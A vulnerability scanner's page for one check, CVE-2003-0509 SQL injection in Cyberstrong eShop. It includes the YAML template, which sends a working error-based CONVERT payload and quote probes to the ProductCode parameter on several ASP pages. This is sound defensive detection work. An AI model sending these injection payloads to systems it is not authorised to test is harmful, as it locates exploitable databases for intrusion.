Cyberstrong eShop — 1 vulnerability check

noctis ships 1 vulnerability check for Cyberstrong eShop, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cyberstrong eShop <= 4.2 ProductCode SQL Injection

CVECVE-2003-0509
Severitycritical · CVSS 10.0
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/cyberstrong-eshop/CVE-2003-0509.yaml

Tests Cyberstrong eShop for the unauthenticated SQL injection in the ProductCode parameter of 20review.asp, 10expand.asp and 10browse.asp. An error-based SQL Server payload makes the server cast a random marker concatenated with the product of two random integers to int; the ODBC error quoting that server-computed value proves the injected SQL ran (QoD 75). Without it, a lone quote raising the ODBC "ORDER BY TypeID" error while an escaped quote does not is reported at QoD 70.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{t.dir}}/{{t.page}}?ProductCode=noctis%27+AND+1%3DCONVERT(int,%27{{sq.marker}}%27%2B…
  3. Parses / computes the next value with a Rhai script
  4. Checks conv_hit for ^noctis[a-z0-9]+$ → finding QoD 75: SQL injection confirmed — …/… ProductCode CONVERT(int, marker + …*…) made SQL Server return "…" in its conversion error
  5. HTTP(S) request GET {{t.dir}}/{{t.page}}?ProductCode=%27
  6. HTTP(S) request GET {{t.dir}}/{{t.page}}?ProductCode=%27%27
  7. Parses / computes the next value with a Rhai script
  8. Checks quote_hit for ^quote-differential$ → finding QoD 70: Probable SQL injection — …/…?ProductCode=' raised the ODBC error quoting "ORDER BY TypeID" while the escaped ProductCode='' did not

References:

Feed source — tests/vulnerabilities/cyberstrong-eshop/CVE-2003-0509.yaml
# Cyberstrong eShop <= 4.2 — SQL injection in the ProductCode parameter
# (CVE-2003-0509)
#
# 10expand.asp, 10browse.asp and 20review.asp concatenate the ProductCode
# GET parameter into a SQL Server query (`... WHERE ProductCode='<x>' ORDER
# BY TypeID`) without escaping, unauthenticated. The eShop runs on classic
# ASP + ADO over the "Microsoft OLE DB Provider for ODBC Drivers", which
# prints database errors into the page (Bugtraq 2003-07-01, AresU:
# "Platform: Win32/MSSQL").
#
# Ported from OpenVAS/Greenbone NVT pre2008/cyberstrong_eshop_sql.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19391, GPL-2.0-only): GET
# `<dir>/20Review.asp?ProductCode='` and flag the page when it contains both
# "Microsoft OLE DB Provider for ODBC Drivers" and "ORDER BY TypeID".
#
# Detection (active, benign — a SELECT expression only, nothing written, no
# data read):
#   1. Error-based proof (QoD 75). ProductCode closes the string and adds
#      `AND 1=CONVERT(int,'<marker>'+CAST(<a>*<b> AS varchar(20)))--`.
#      SQL Server evaluates the concatenation and fails to cast it to int,
#      and the ODBC error quotes the value: `... converting the varchar value
#      '<marker><a*b>' to a column of data type int`. a and b are random per
#      run and their product is never sent, so only a server that ran our SQL
#      can return `<marker><a*b>`.
#   2. NASL heuristic, tightened (QoD 70) — only when 1 found nothing (e.g. an
#      Access back end, which has no CONVERT): a lone `'` must raise the ODBC
#      error that quotes the query's `ORDER BY TypeID` (the NASL test), AND a
#      doubled `''` (a valid, escaped SQL literal) must NOT raise an ODBC
#      error. The pair proves the quote reaches the SQL text unescaped,
#      rather than a page that shows a canned error.
#
# Beyond the NASL:
#   - Server-computed value in branch 1 instead of a fixed error string.
#   - The `''` control in branch 2 rules out a page that always errors.
#   - The NASL only tries 20Review.asp; NVD lists 10expand.asp and
#     10browse.asp too, so all three pages are tried, under the web root,
#     the advisory's /eshop path and the NASL's default CGI dirs.
uid: fbc3ca4e-2e6f-4ea8-a309-3b31fb1203c7
name: "Cyberstrong eShop <= 4.2 ProductCode SQL Injection (CVE-2003-0509)"
description: |
  Tests Cyberstrong eShop for the unauthenticated SQL injection in the
  ProductCode parameter of 20review.asp, 10expand.asp and 10browse.asp. An
  error-based SQL Server payload makes the server cast a random marker
  concatenated with the product of two random integers to int; the ODBC error
  quoting that server-computed value proves the injected SQL ran (QoD 75).
  Without it, a lone quote raising the ODBC "ORDER BY TypeID" error while an
  escaped quote does not is reported at QoD 70.
cves: [CVE-2003-0509]
cvss: 10.0
severity: critical
confidence_base: 0.20
tags: [cyberstrong, eshop, asp, mssql, sqli, unauthenticated, intrusive]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2003-0509"
  - "https://www.exploit-db.com/exploits/25922"
  - "https://diswww.mit.edu/menelaus.mit.edu/bt/30569"

steps:
  # ── Per-run random values: marker + two factors (product never sent) ─────
  - id: calc
    action: script
    code: |
      let marker = "noctis" + rand_str(10);
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      #{ marker: marker, a: a, b: b, expected: marker + (a * b).to_string() }
    store_as: sq

  # ── Every step from here on runs once per (directory, page) ─────────────
  # Pre-initialise every stored result a script reads: a failed request
  # leaves store_as unset and the script would abort the whole test.
  - id: init-conv
    action: set_var
    var_name: conv_resp
    var_value: {status: 0, body: null}
    loop:
      var: t
      over:
        - {dir: "", page: 20Review.asp}
        - {dir: "", page: 10Expand.asp}
        - {dir: "", page: 10Browse.asp}
        - {dir: "/eshop", page: 20Review.asp}
        - {dir: "/eshop", page: 10Expand.asp}
        - {dir: "/eshop", page: 10Browse.asp}
        - {dir: "/scripts", page: 20Review.asp}
        - {dir: "/cgi-bin", page: 20Review.asp}

  - id: init-quote
    action: set_var
    var_name: quote_resp
    var_value: {status: 0, body: null}

  - id: init-dquote
    action: set_var
    var_name: dquote_resp
    var_value: {status: 0, body: null}

  - id: init-hit
    action: set_var
    var_name: conv_hit
    var_value: "none"

  # Branch 1 — error-based, server-computed value.
  - id: inject-convert
    action: http_request
    method: GET
    path: "{{t.dir}}/{{t.page}}?ProductCode=noctis%27+AND+1%3DCONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}+AS+varchar(20)))--"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: conv_resp

  # Returns only the marker+product (or "none") so the evidence holds no page data.
  - id: verify-convert
    action: script
    code: |
      let hit = "none";
      if type_of(conv_resp.body) == "string" && stridx(conv_resp.body, sq.expected) >= 0 {
        hit = sq.expected;
      }
      hit
    store_as: conv_hit

  - id: report-convert
    action: match
    source: conv_hit
    pattern: "^noctis[a-z0-9]+$"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "SQL injection confirmed — {{t.dir}}/{{t.page}} ProductCode CONVERT(int, marker + {{sq.a}}*{{sq.b}}) made SQL Server return \"{{sq.expected}}\" in its conversion error"
      stop: true

  # Branch 2 — the NASL test plus an escaped-quote control.
  - id: inject-quote
    action: http_request
    method: GET
    path: "{{t.dir}}/{{t.page}}?ProductCode=%27"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'conv_hit == "none"'
    store_as: quote_resp

  - id: inject-dquote
    action: http_request
    method: GET
    path: "{{t.dir}}/{{t.page}}?ProductCode=%27%27"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'conv_hit == "none" && type_of(quote_resp.body) == "string" && stridx(quote_resp.body, "Microsoft OLE DB Provider for ODBC Drivers") >= 0 && stridx(quote_resp.body, "ORDER BY TypeID") >= 0'
    store_as: dquote_resp

  # Fail-closed: the escaped control must have answered (a body) without the
  # ODBC error.
  - id: verify-quote
    action: script
    code: |
      let hit = "none";
      if conv_hit == "none"
         && type_of(quote_resp.body) == "string"
         && stridx(quote_resp.body, "Microsoft OLE DB Provider for ODBC Drivers") >= 0
         && stridx(quote_resp.body, "ORDER BY TypeID") >= 0
         && dquote_resp.status > 0
         && type_of(dquote_resp.body) == "string"
         && stridx(dquote_resp.body, "Microsoft OLE DB Provider for ODBC Drivers") < 0 {
        hit = "quote-differential";
      }
      hit
    store_as: quote_hit

  - id: report-quote
    action: match
    source: quote_hit
    pattern: "^quote-differential$"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 70
        evidence: "Probable SQL injection — {{t.dir}}/{{t.page}}?ProductCode=' raised the ODBC error quoting \"ORDER BY TypeID\" while the escaped ProductCode='' did not"
      stop: true

View these feeds on GitHub